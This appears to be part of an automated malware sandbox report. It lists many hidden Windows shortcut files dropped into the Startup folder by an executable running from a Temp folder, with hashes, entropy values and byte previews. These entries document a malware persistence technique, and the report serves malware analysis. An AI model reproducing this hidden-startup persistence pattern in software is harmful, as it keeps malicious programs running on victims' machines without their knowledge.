File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919066394414648
Encrypted:	false
SSDEEP:	24:8RBfpcH8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8rDEvZ0yRO7DLO2zdxdRd1kyg
MD5:	8921E88FA4DA502458C06E00B5DCF948
SHA1:	DB9DC0BA7EECC998F685639AC414A123C38C49B8
SHA-256:	44B56D8CD4A9A7D13EE46C28D65768BD3895DEC366526EC59BB21F70D9859578
SHA-512:	0303D7403C01BABA78519BA4CDF1E5C969D39BD5581348C1E9A19B0435E5F0C730243717CEEC897B1C5C8286BF219286DC06282DF74EE61791081CEB020B27A6
Malicious:	false
Preview:	L..................F....".......d...d.h.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....f.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_21e0c757cea14017992818e4a2592990.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930158985133399
Encrypted:	false
SSDEEP:	24:8ScrBfHf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8SEcEvZ0yRO7DLO2zdxdRd1kyg
MD5:	4C7FBCBE48FD964FF2324FB0DE37142B
SHA1:	74A1247D3E3AA84CCF280DE19987D653FFA32690
SHA-256:	0B80E5A4BDD2CD30472D3543ACE1AD3C7EED0C3E98F8CADC186DB590401FC881
SHA-512:	865D408569A243B5353F7902F3D406DE14DCB0916A3DDBC92DC6BF50F134595ACB4BD0BF6FE10F1B745B4F65F6983C8E27B660D22993E04B6C0AE521F4562C73
Malicious:	false
Preview:	L..................F....".......d......[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2200ecc666094f32bf69a139fc26da7c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923638936238747
Encrypted:	false
SSDEEP:	24:8f3BfJ48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8fRPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	658B7EA4E83C9285F51F6D134B3D6DBC
SHA1:	698C3AF0063635B67D3F92A31B5F0FC39A009A7C
SHA-256:	F6EE4E447EC8317A2C20BAB275A913068DDAB929AE1C00F21B1DAE3509428C9C
SHA-512:	BE11BCCF5BBB1693329B7A2E71FBC54339CF691ACE318264DA4F6E483FCFB1A25BA50567E9F004C6BB316E57C1B46E0ACA24645C034FC8C071878CDE03120AFE
Malicious:	false
Preview:	L..................F....".......d...^..9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......8d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_223e055859ff4a2080a36903d49f4b7e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:11 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923468563949759
Encrypted:	false
SSDEEP:	24:8ITBfh8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8QeEvZ0yRO7DLO2zdxdRd1kyg
MD5:	54A4DE2D1BA4C755FA1D9D3E3C7CA8BB
SHA1:	C7A92E1573D3AF1E58BAC5596276313E8D602CFE
SHA-256:	95330DDF80259584D4C566B97365D6CB51A2D47B851F49DAC6FF83A728A719FB
SHA-512:	019899E8E5BDE296B0516C9474B37B51E1A1B070AF94F1A781C06440CA0FA956A6173BD6972EFD108AE9952DCCCCD4EFDC1B112577E7CDDD033DF6D17D7AF4F1
Malicious:	false
Preview:	L..................F....".......d...s.4$d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....($$d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_228ff654ed1442e68ea2c0cc1796b64c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922496402674199
Encrypted:	false
SSDEEP:	24:83Bfn+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8RLEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F9E2013B682AAFEE75B024B8D74487CD
SHA1:	0EEAE8C3A46D21AD28FB9FB999A6A272589A83A9
SHA-256:	FADD62E842E35EFC0FB1619DCDA0B4A2482A0E902B9C37FE13EC5BBE6EDE990A
SHA-512:	5903A3E730DA10E56E8DFA4E52F9ED6ACA7534CF54CAF4874C9E86573DEE5F20354D4FAC08103BCF43ABAFB6AC4F38C2994C69AFE1E10F7C46EF0B5058B11123
Malicious:	false
Preview:	L..................F....".......d......9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....u.9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2347fea100734ee0ae0ded8fe7a4f34e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:13 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917597038051575
Encrypted:	false
SSDEEP:	24:84Bf+p8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:82GOEvZ0yRO7DLO2zdxdRd1kyg
MD5:	620EB1B053DB244907A541479F1F4D54
SHA1:	E1F6E6CACFC584B1F6DE4277EFC6D1AF3DFD1F83
SHA-256:	35ACCDFD4CF96F2042A4418ABB320E1F249F14E161C2B3FB64EC380CFBB6D640
SHA-512:	F32863B3DFB5378E83EFA482B9155ECC659D0AAE243ADAEF195E281305AEEC3B1FAC2D3CFBE2F20D15091028E4E0027FE71F15FFA3F0765134D7506591AD7E0F
Malicious:	false
Preview:	L..................F....".......d......%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....F.%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_23588ea9485f496b87ff0b9bcc9a8dfe.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:11 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926634756058511
Encrypted:	false
SSDEEP:	24:88TBfR8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:80+EvZ0yRO7DLO2zdxdRd1kyg
MD5:	D3BDCD20EFFFF128CB3D0AA9CDCE787C
SHA1:	BA9B97C85B9D70C2FF4C51CE3B7B36142B6D7F64
SHA-256:	2EB4BDED94B5EFEBF5612046D45A7BAB19BA1E9E922B5EA056B2E016FF73ACED
SHA-512:	47412E276043F590C2E2A3ED25108725107B767CD875BFD592EC7A62AEA1BCDCAEC9CE59EC752FE3C20596502731E46CE1E24EE81595C9ECF38C4BFD3D3B4B9E
Malicious:	false
Preview:	L..................F....".......d......$d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...b..#d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2449ebff3d0342809b461ac476d9e135.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9142937206793915
Encrypted:	false
SSDEEP:	24:8pBf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8TFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D789DEBEDD3CA421D8CCCCA491CCE3B6
SHA1:	2A3AF22D0157F3F8A883EFD43DDA9B2DA5DA69DF
SHA-256:	BFF6FA321FFEDE009B86D1940FFDACF99582A2D261C9EA5E294C6941DD6606D1
SHA-512:	0CA5F7386A71CE38C33487FB378BD020A8D784EC9877A513B29871081EB9CA237163D286CB68C252374C03B1F72FA69B4E322E39FFEA83CADE09950D540A8BD7
Malicious:	false
Preview:	L..................F....".......d...BC.:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...4..:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_24850184da384182af130a506458430e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924258517211643
Encrypted:	false
SSDEEP:	24:8OBfT+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8kLTEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E55C52357CA83BF9BD186F5596203AD9
SHA1:	A5331251F0BD3B39BFBF04D2F942F94D06EFB005
SHA-256:	2244BD0D57837C5076C0BB2544DFF9C098982D7690FABE78C498F14777961395
SHA-512:	1BEAC6FEE2494D7EE8F8AD419EB50E5D3B8B03C5277F7638D54B4C6E445212218863CB181B0A1FB3E553A7593805EA91CFC296A5E3F3F72FCFBF394F80FC9D44
Malicious:	false
Preview:	L..................F....".......d....U[9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....iO9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2495ad6eb6c04a91947a4896bfa62d50.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9175147036283295
Encrypted:	false
SSDEEP:	24:84QBfO8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:84erEvZ0yRO7DLO2zdxdRd1kyg
MD5:	820F740031A528BF7DA16A43D84E16D2
SHA1:	0F00434D8D762BDE4A671892388D6E6641E5011E
SHA-256:	E559DBE53646C72D8409F01800435FE5F548B187F526A02306787E82AB7BE242
SHA-512:	F67CCA51BE4A3FA3582BAA4E1B6D9E4F235D1CFD4C1D54783E19E0C9243E0CFB0F4685E6F7C44F30925B4C12263A22F8AD073CDD12FFC172C96C2941F95F7A8D
Malicious:	false
Preview:	L..................F....".......d......\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....a.\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_24ac443d2e0543d7a176f5ad68801ef8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:01 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918387187425075
Encrypted:	false
SSDEEP:	24:8DBfI48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Fg9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	87C3040AFC5983A5B82EE497763F385B
SHA1:	FF07546AE93926533FF68D1ECBB10A611B2BC090
SHA-256:	A2C0820521E0A36CCC1BCCF7D6D86335657EDC9AD7FFCEB8328EA6109DF2FF9F
SHA-512:	D848376E66838EA59A7EC7237FC3359CF70EC889FFB57F278C55418CD048F45A816E165BB5C21CD5D25177DBF1619B13686FF79824FC4298152AD8CEDA9BCC20
Malicious:	false
Preview:	L..................F....".......d....W5.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Eb..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_251e0feac337452ea9a3169ac053df76.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92848485779429
Encrypted:	false
SSDEEP:	24:8NxBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NLREvZ0yRO7DLO2zdxdRd1kyg
MD5:	B801579997B149E7B2C3BEA0CF169A94
SHA1:	68F1FD4CE603504EED5803C60102194298AA5B97
SHA-256:	4207A4711D0CFA9BC4B4C059BAC8B61D6D81FFF6D8FC0883FD26BEF85EF9FA67
SHA-512:	D1E2697750F6F14BAC7691A0998EDED913C2CC72F487ECB8035639C4CC3E0C8E4807593D631342A467424EE423EFB4AC616E8072C1E10D9E588AD2860683A123
Malicious:	false
Preview:	L..................F....".......d...0,.Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_252b751644c84b8aaee2587b9058c7fb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927066672354258
Encrypted:	false
SSDEEP:	24:82BfE8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:88pEvZ0yRO7DLO2zdxdRd1kyg
MD5:	8A5E7B1C7F90CBD9B632C82D4468705E
SHA1:	A896A8E9FE52F8300C667C92E91922B3A730959A
SHA-256:	03A0E1F2E60EE12968BD3994E5DA2965846A910077C703F52C9E14E5A130E97A
SHA-512:	77245FFB7BA4157D054F68F23D20C3FE06CDD227E78FCE57A30DDFBED29D64371E712C2134CBCEAF46A5362D2D8C74077E52F1ACE17CB84E967A712C0526BD02
Malicious:	false
Preview:	L..................F....".......d....8;]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....%]d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_256a01d75cad480b8dc3e5fad50d3a0a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
